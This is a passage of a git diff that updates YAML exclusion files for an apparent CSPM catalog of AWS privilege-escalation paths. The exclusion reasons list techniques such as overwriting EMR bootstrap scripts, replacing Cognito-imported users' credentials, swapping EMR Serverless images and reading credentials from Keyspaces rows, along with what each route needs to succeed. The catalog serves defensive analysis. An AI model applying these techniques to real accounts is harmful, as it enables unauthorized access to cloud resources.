itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachcustomermanagedpolicyreferencefrompermissionset technique: sso:DetachCustomerManagedPolicyReferenceFromPermissionSet - reason: Merged into aws-sso-remove-permission-set-restriction (any_of group). + reason: Removing this policy reference grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodeleteinlinepolicyfrompermissionset technique: sso:DeleteInlinePolicyFromPermissionSet - reason: Merged into aws-sso-remove-permission-set-restriction (any_of group). + reason: Deleting this inline policy grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#automatic-tools technique: Automatic tools reason: Tooling references only. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml new file mode 100644 index 0000000000..6ebf6149ae --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml @@ -0,0 +1,9 @@ +# Browser and gateway roles need an exact caller-controlled action before they become privilege edges. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--sandbox-actions-with-an-execution-role + source_revision: e350a39af5 + technique: Drive an AgentCore browser with a passed execution role + reason: CreateBrowser and InvokeBrowser give browser automation, not the arbitrary code action supplied by InvokeCodeInterpreter. A role edge needs a concrete browser operation that lets the source obtain credentials or perform a role-authorized action, plus exact browser and role permission joins. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--change-an-existing-resources-role + source_revision: e350a39af5 + technique: Change an AgentCore gateway role and invoke a target under it + reason: UpdateGateway can change the service role, but the role is used only for configured target calls. A privilege edge needs a caller-invokable exact gateway target whose operation can use the newly allowed permission, plus target authorization, trust, PassRole and exact gateway grants. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml index aeca9d2177..852e153a50 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml @@ -31,9 +31,12 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#s3putobject-on-a-configured-bootstrap-or-step-script source_revision: 171e422299 technique: Overwrite an S3 bootstrap action or step script used by EMR - reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS - evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the - artifact alone cannot establish a principal-to-principal path.' + reason: 'The caller must be able to replace the exact current S3 object referenced by a + configured EMR bootstrap action or step. That script must still be downloaded and run by + a later cluster creation or step on an EMR cluster with an identified EC2 instance profile; + the separate EMR service role is not the target. The current evaluator neither joins the + object to that consuming bootstrap action or step and instance profile nor proves a later + execution trigger. A bare s3:PutObject grant cannot establish a principal-to-principal path.' prior_id: aws-emr-s3-putobject-bootstrap-or-step-script - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml index b2679c7cf1..ffab4b599e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml @@ -4,7 +4,7 @@ # --- P0 --- - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role technique: gamelift:CreateGameServerGroup + iam:PassRole - reason: The game server group RoleArn is assumed by GameLift FleetIQ only to manage the Auto Scaling group and its instances; it is not exposed to code on the instances, which run with the launch template's instance profile (modelled by the EC2 launch-template / RunInstances entries). CreateFleet and CreateContainerFleet are modelled in aws-gamelift-passrole-createfleet. + reason: The game server group RoleArn is assumed by GameLift FleetIQ to manage the Auto Scaling group, not supplied as the instance profile of code running on those instances. The launch template's instance profile is a separate route with its own role and execution checks. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamsetdefaultpolicyversion technique: iam:SetDefaultPolicyVersion on a policy attached to a role the source can assume reason: An existing policy version must be proven to grant administrator access; the v2 selector only covers creating a new default version. @@ -18,7 +18,7 @@ reason: "Execution-table rows that run only fixed service logic (ingestion pipelines, matching workflows, scheduled queries, exports, transcoding, DynamoDB caching, telemetry reads) as the passed role; data-access confused deputy without code execution or credentials, same reasoning as #the-pattern." - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive technique: "finspace:CreateKxUser / finspace:UpdateKxUser" - reason: "The kdb user's iamRole identifies which IAM principal may obtain a connection string for that user; binding a role does not vend that role's credentials to the source. Code execution as the role is modelled by aws-finspace-passrole-createkxcluster." + reason: "The kdb user's iamRole identifies which IAM principal may obtain a connection string for that user; binding a role does not vend that role's credentials to the source. The prior cluster-execution route is retained as an exclusion because AWS ended FinSpace access after October 7, 2026." # --- R0 --- - source: src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md#restore-revoked-iam-roles-anywhere-certificates-by-weakening-the-crl @@ -58,8 +58,7 @@ source_revision: 6fb9ac51fd - source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#high-value-service-matrix technique: Cross-account resource sharing matrix (S3, KMS, Secrets Manager, SNS/SQS, RAM, snapshots, models, ...) - reason: Rows are data exposure, injection or persistence. Role-bearing rows are modelled by their service entries (aws-sts-assumerole-trusted, aws-ecr-push-consumed-tag, aws-lambda-updatefunctionconfiguration, - aws-ssm-updatedocument-defaultversion, CodeArtifact entries). A Service Catalog portfolio share provisions in the recipient account under that account's own launch role, and ds:ShareDirectory only lets + reason: Rows mix data exposure, injection and persistence. Some role-bearing paths remain conditional candidates, including ECR image consumption, Lambda execution-wrapper changes and SSM document consumers; this matrix does not establish their resource or execution joins. A Service Catalog portfolio share provisions in the recipient account under that account's own launch role, and ds:ShareDirectory only lets the consumer domain-join its own workloads. source_revision: 6fb9ac51fd - source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#messaging-and-event-injection @@ -84,7 +83,7 @@ source_revision: 6fb9ac51fd - source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#amazon-datazone-associateenvironmentrole-confused-deputy-2024 technique: DataZone AssociateEnvironmentRole cross-account confused deputy - reason: Fixed vulnerability; the current same-account technique is aws-datazone-passrole-associateenvironmentrole. + reason: AWS fixed the cross-account confused-deputy issue. The separate same-account AssociateEnvironmentRole route remains a conditional candidate because its project membership, scoped credential and role joins are not yet established. source_revision: 6fb9ac51fd - source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md#aws-device-code-phishing technique: Identity Center device-code phishing @@ -92,7 +91,7 @@ source_revision: 6fb9ac51fd - source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#buildspecyml technique: Write access to an external repository consumed by CodeBuild - reason: Needs write access to an external SCM repository (GitHub/Bitbucket/GitLab) not represented in the snapshot; AWS-side sources are modelled by aws-codecommit-gitpush-pipeline-source and aws-codebuild-s3-source-poisoning. + reason: External SCM write access and the exact repository-to-build consumer are not collected. CodeCommit branch and S3 source-object variants are also conditional candidates until their source, execution and role joins are verified. source_revision: 6fb9ac51fd - source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#self-hosted-github-actions-runners-in-aws-codebuild technique: GitHub workflow running on a CodeBuild-hosted runner diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml index ebd9ee798b..ffb05dea8e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml @@ -297,7 +297,7 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatebluegreendeployment-rdsaddroletodbcluster-iampassrole-rdsswitchoverbluegreendeployment source_revision: a53b46392c technique: rds:CreateBlueGreenDeployment + AddRoleToDBCluster + PassRole + SwitchoverBlueGreenDeployment - reason: Reachable set is a subset of aws-rds-addroletodbcluster-passrole; the additional actions add nothing to the target set. + reason: The extra blue/green actions do not by themselves provide a database login or an IAM role session. The underlying AddRoleToDBCluster route remains a conditional candidate requiring exact database, integration and effective authority joins. - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketpolicy historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketpolicy historical_source_revision: a53b46392c diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml index 76e487ed8c..84099257d8 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_bounded_service_role_overclaim_20261016.yaml @@ -7,10 +7,14 @@ technique: aws-arc-region-switch-passrole-createplan reason: ARC can run only configured plan step types through the role; the target cannot be the full passable IAM role. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgetscreatebudgetaction-iampassrole--budgetsexecutebudgetaction--self-attach-an-admin-policy--scp--run-code-as-a-passed-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-region-switch-privesc/README.md#ssm-run-command-step--execute-on-a-managed-node + technique: aws-arc-region-switch-ssm-sendcommand-host-role + reason: A plan can call SSM SendCommand through its execution role and may reach a selected managed node's IAM role. CSPM does not yet join the command document and parameters, plan execution path, online node, and node-to-role binding; plan write and PassRole alone cannot produce this edge. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-budgets-privesc/README.md#budgetscreatebudgetaction-iampassrole--budgetsexecutebudgetaction--attach-a-policy-through-a-budget-action technique: aws-budgets-passrole-createbudgetaction - reason: Budget actions have only three bounded operation types. A direct IAM policy attachment may grant Alice - permissions, but the entry currently targets the full passed role instead of that exact gain. + reason: Budget actions have three bounded operation types, and RUN_SSM_DOCUMENTS can only stop EC2 or RDS + instances. An exact IAM policy attachment may grant a controlled principal permissions, but the retired entry + targets the full passed role without proving an existing budget, triggered action, attach authority and recipient gain. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chatbot-privesc/README.md#chatbotcreateslackchannelconfiguration--createmicrosoftteamschannelconfiguration--iampassrole technique: aws-chatbot-passrole-create-channel-configuration reason: Chat CLI requests are constrained by channel guardrails. The full role target overstates the authority @@ -35,9 +39,10 @@ technique: aws-s3-batchoperations-passrole-createjob reason: S3 Batch Operations executes a bounded S3/Lambda job. The source does not gain general access to the passed role. -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--mount-any-buckets-data-as-a-chosen-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--connect-a-bucket-through-a-service-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-files-privesc/README.md#s3filescreatefilesystem-iampassrole--mount-any-buckets-data-as-a-chosen-role technique: aws-s3files-passrole-createfilesystem - reason: S3 Files synchronizes selected S3 data through its role; it does not yield role credentials or broad permissions. + reason: S3 Files synchronizes a selected bucket or prefix through its service role, subject to role, bucket and KMS authorization. A separate authorized NFS client is required for file access; the caller does not receive the role's credentials or its general IAM permissions. - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transfercreateuserupdateusercreateaccessupdateaccess--iampassrole--attach-a-chosen-role-to-an-sftp-identity technique: aws-transfer-passrole-createuser-access reason: Transfer Family grants file access scoped to S3/EFS locations through its role, not the full passed role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml index a46a60e8b7..df6cb36747 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_cognito_strict_reaudit_20261016.yaml @@ -44,8 +44,9 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateuserimportjob--cognito-idpstartuserimportjob source_revision: 171e422299 technique: Import users with known passwords via a user import job - reason: Imported users enter RESET_REQUIRED and no usable reset/token is proved; - the selector includes unrelated rule-mapped roles. + reason: Password-hash or eligible passwordless imports can create immediately + signable users, but the source's usable sign-in and exact identity-pool role + selection are unproved; the selector includes unrelated rule-mapped roles. prior_id: aws-cognito-userimportjob-passrole - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateidentityprovider--cognito-idpupdateidentityprovider source_revision: 171e422299 @@ -53,12 +54,6 @@ reason: The app client accepting the new provider, controlled IdP login, and exact token-to-role mapping are not proved. prior_id: aws-cognito-create-update-identityprovider -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all - source_revision: 171e422299 - technique: Mint a developer-authenticated identity token for an identity pool - reason: The target set includes the unauthenticated role and other mapped roles - even though the API yields a developer-authenticated token; exact slot missing. - prior_id: aws-cognito-getopenidtokenfordeveloperidentity - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetprincipaltagattributemap--forge-the-session-tags-that-iam-conditions-trust source_revision: 171e422299 technique: Remap identity-pool principal tags to attributes the source controls diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml new file mode 100644 index 0000000000..1e096aeba5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_config_existing_document_20261022.yaml @@ -0,0 +1,5 @@ +# Existing Automation documents can avoid CreateDocument, but need an exact runnable step. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-config-privesc/README.md#config-existing-automation-document-remediation + source_revision: f4d5491c17 + technique: Attach an existing useful Automation document to automatic Config remediation + reason: An existing Automation document could remove the need for ssm:CreateDocument, but PutRemediationConfigurations and PassRole alone do not prove that the document accepts AutomationAssumeRole, executes an action the passed role permits, and produces a usable gain. The route also needs a non-service-linked rule, a noncompliant resource, automatic mode and the remediation service-linked role. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml index 30266a2124..a7b6450c28 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml @@ -23,22 +23,18 @@ only for Image Builder. This entry cannot prove the later consumer execution or authority gain.' prior_id: aws-appstream-updateapplication-elastic-fleet -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatenotebookinstancelifecycleconfig--stored-code-execution-as-the-notebook-role - source_revision: b587e6bd26 - technique: Rewrite a notebook-instance lifecycle configuration that runs as the notebook role - reason: 'The sagemaker:UpdateNotebookInstanceLifecycleConfig source operation is not joined - to an exact consumed input and target role: the AWS evaluator implements consumer_input_writable_via - and target.consumer_input_arn only for Image Builder. This entry cannot prove the later consumer - execution or authority gain.' - prior_id: aws-sagemaker-updatenotebookinstancelifecycleconfig - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemaker-model-registry-supply-chain-injection-via-createmodelpackageapproved source_revision: b587e6bd26 technique: Register an Approved model version in a Model Package Group consumed by auto-deploy automation - reason: 'The sagemaker:CreateModelPackage source operation is not joined to an exact consumed - input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn - only for Image Builder. This entry cannot prove the later consumer execution or authority - gain.' + reason: 'Approved marks a model package version eligible for deployment; it does not start + a workload. A role edge needs effective CreateModelPackage permission on the exact group, + an attacker-controlled readable image or artifact in that version, an actual EventBridge + rule or CI/CD pipeline that selects the new Approved version, and a deployed endpoint or + job with a known execution role. The collector lists groups and Approved versions but not + the consumer automation, selected version or target role. The evaluator supports + consumer_input_writable_via only for Image Builder, so a group-level permission alone + cannot prove this route.' prior_id: aws-sagemaker-createmodelpackage-approved-autodeploy - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#s3putobject-on-a-configured-s3-source-codebuildstartbuild-optional source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml index bde5665f37..6fd716bb17 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml @@ -41,4 +41,7 @@ that binds a privileged RBAC group reason: The source-controlled OIDC tokens are not joined to an existing privileged Kubernetes group binding; adding the issuer alone does not grant cluster-admin. + Even a proven Kubernetes-admin path reaches another AWS principal only after + joining control of a specific workload service account to an IRSA or Pod Identity + role association, its trust and effective role permissions. prior_id: aws-eks-associateidentityproviderconfig-privileged-group diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emr_legacy_editors_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emr_legacy_editors_20261022.yaml new file mode 100644 index 0000000000..b7481c8ff3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emr_legacy_editors_20261022.yaml @@ -0,0 +1,9 @@ +# Legacy notebook editor routes need a supported editor and a cluster-role join. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducecreateeditor-iamlistroles-elasticmapreducelistclusters-iampassrole-elasticmapreducedescribeeditor-elasticmapreduceopeneditorinconsole + source_revision: e0ecce7ba7 + technique: Create and open a legacy EMR notebook on a privileged cluster + reason: AWS has disabled creation of new notebooks in the old console. Passing the notebook service role supports networking and notebook storage, not automatic kernel access to that role. A principal edge requires proof that the legacy editor API still works, a READY editor attached to a compatible cluster, source access to its kernel, the exact cluster instance-profile or runtime role, and an accepted workload. Current inventory does not join these facts. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#legacy-elasticmapreduceopeneditorinconsole-boundary + source_revision: e0ecce7ba7 + technique: Open an existing legacy EMR editor attached to a privileged cluster + reason: OpenEditorInConsole alone is not AWS credential access. A principal edge needs a supported existing editor, exact attached cluster and active kernel, source authorization to the editor, executable notebook access, the cluster's effective instance-profile or runtime role, and a role-authorized effect. Current inventory does not collect this join. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emrserverless_custom_image_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emrserverless_custom_image_20261022.yaml new file mode 100644 index 0000000000..fcdaeb9dc9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_emrserverless_custom_image_20261022.yaml @@ -0,0 +1,5 @@ +# EMR Serverless custom-image substitution needs an exact future workload and role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessupdateapplication--replace-a-custom-image-for-future-workloads + source_revision: 45ec8dc775 + technique: Replace an EMR Serverless application's custom image for future workloads + reason: UpdateApplication can replace imageConfiguration on an existing application, including some running applications, but the update does not execute the image. A principal edge needs effective UpdateApplication on the exact application, controlled compatible ECR image bytes and service pull access, digest-resolution behavior, a later workload that uses the changed image, its exact execution role and an executable image component. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_finspace_sunset_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_finspace_sunset_20261022.yaml new file mode 100644 index 0000000000..34614f28cb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_finspace_sunset_20261022.yaml @@ -0,0 +1,6 @@ +# Amazon FinSpace ended support on October 7, 2026; its resources are no longer accessible. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 171e422299 + technique: Create a FinSpace Managed kdb cluster with a passed execution role + reason: AWS states that Amazon FinSpace resources are no longer accessible after October 7, 2026, so CreateKxCluster cannot produce a new role-execution path. The previous active definition remains available through the exact historical catalog binding. + prior_id: aws-finspace-passrole-createkxcluster diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_gamelift_variants_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_gamelift_variants_20261022.yaml new file mode 100644 index 0000000000..4867132557 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_gamelift_variants_20261022.yaml @@ -0,0 +1,9 @@ +# GameLift fleet variants not proven by the active new-build EC2 fleet route. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + technique: Create a container fleet with a passed role and controlled container group + reason: CreateContainerFleet is a separate API using FleetRoleArn and named container group definitions. The active CreateBuild plus CreateFleet route does not authorize it. A role edge needs a group definition whose image and runtime the source controls, a runnable deployment and the exact role's availability inside that container. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + technique: Create an EC2 fleet with a passed role and a pre-existing controlled build or script + reason: The active new-build route requires CreateBuild. An existing build or script could be usable without that action only if the source controls its executable bytes or startup path and can select it in an authorized CreateFleet request with the exact passed role. Those artifact-control and request joins are not yet proven. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml index bd1f54ac55..ff18a86315 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml @@ -137,16 +137,14 @@ the exact source action, resource, credential subject and effective added permissions before restoring.' - source: src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md#directory-and-client-secret-disclosure technique: aws-cognito-describeidentityprovider-upstream-client-secret - reason: 'Recover an upstream identity provider''s OAuth client credential: no source IAM action or resource is - declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s - permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective - added permissions before restoring.' + reason: 'DescribeIdentityProvider can return an upstream OAuth client secret. This credential identifies the + application at that provider; it does not authenticate an upstream user or issue AWS IAM credentials. A later + user login and Cognito token-to-role mapping would be separate routes with their own exact evidence.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets technique: aws-cognito-upstream-idp-client-secret - reason: 'Read upstream social or OIDC provider client secret: no source IAM action or resource is declared in - requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'This is the same upstream application-client credential read as DescribeIdentityProvider. The secret + alone cannot identify or authenticate a user and does not vend another AWS principal; any downstream identity + route needs a separately established user login and token-to-role mapping.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#collect-contact-metadata-attributes-references-and-files technique: aws-connect-contact-credential reason: 'Recover a credential persisted in Connect contact attributes or attached files: no source IAM action @@ -185,10 +183,11 @@ restoring.' - source: src/pentesting-cloud/aws-security/aws-persistence/aws-datazone-persistence/README.md#add-an-attacker-profile-as-a-project-owner technique: aws-datazone-createprojectmembership-owner - reason: 'Grant a controlled DataZone profile project ownership: no source IAM action or resource is declared in - requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'CreateProjectMembership can grant an allowed, controlled DataZone profile project membership, but that + alone is application authorization. A role edge also needs project-owner or domain authorization, the domain-unit + membership policy, the controlled profile with GetEnvironmentCredentials, an active environment in that project, + its exact associated IAM role and the effective restrictions on the issued session. The current inventory does + not join these facts, so a bare CreateProjectMembership grant must not imply the whole role.' - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional source_revision: 3ad99dc7ac @@ -211,34 +210,43 @@ restoring.' - source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#eventbridge-rule-targets technique: aws-events-listtargets-static-credential - reason: 'Recover another identity credential from static rule target Input: no source IAM action or resource is - declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s - permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective - added permissions before restoring.' + reason: 'ListTargetsByRule can disclose static Input or InputTemplate content, but most target payloads are not + AWS credentials. A principal edge requires a complete usable credential tuple, a verified exact IAM subject and + additional effective authority. A target RoleArn or secret ARN is only a locator. The current inventory does not + safely extract and verify such credential material, so the read grant alone is insufficient.' - source: src/pentesting-cloud/aws-security/aws-services/aws-healthomics-enum.md#cloudtrail-and-stealth technique: aws-healthomics-cloudtrail-workflow-zip-credential - reason: 'Recover another identity credential from a logged HealthOmics workflow ZIP: no source IAM action or resource - is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove - Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject - and effective added permissions before restoring.' + reason: 'CloudTrail may contain the base64 definitionZip from CreateWorkflow, but neither + the HealthOmics page nor CloudTrail event metadata establishes that the ZIP contains AWS + credentials. The source might read the event through CloudTrail, a trail S3 object or a + separate log store, so the required read action and exact event resource also vary. A + principal edge needs the actual decoded ZIP, a complete usable credential, its verified + AWS principal and additional effective authority; no such content is inventoried by the + CSPM. Do not infer another role from the ability to read a workflow event.' - source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#enumerate-and-read-cdc-streams technique: aws-keyspaces-cdc-credential-record - reason: 'Recover another identity credential from a Keyspaces CDC record: no source IAM action or resource is - declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s - permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective - added permissions before restoring.' + reason: 'Keyspaces CDC GetRecords can return changed table values on a permitted exact + stream, but the stream API does not identify those values as AWS credentials. A principal + edge requires an actual record with a complete usable credential, verified AWS subject + and extra effective authority, plus the source''s GetStream/GetShardIterator/GetRecords + rights on that stream. The CSPM does not collect stream contents or validate credential + subjects, so stream-read permission alone cannot establish this route.' - source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#connect-to-cql-with-sigv4 technique: aws-keyspaces-select-credential-row - reason: 'Recover another identity credential from a Keyspaces table row: no source IAM action or resource is declared - in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject - chain. Reauthor the exact source action, resource, credential subject and effective added permissions before - restoring.' + reason: 'cassandra:Select on an exact user table permits reading its rows, with system + table access often needed by CQL clients, but neither the permission nor table schema + proves any row contains an AWS credential. A principal edge needs an actual complete + usable credential row, verified AWS subject and extra effective authority. The CSPM + does not read customer table rows or validate credential subjects; table-read permission + alone is data access, not another IAM principal.' - source: 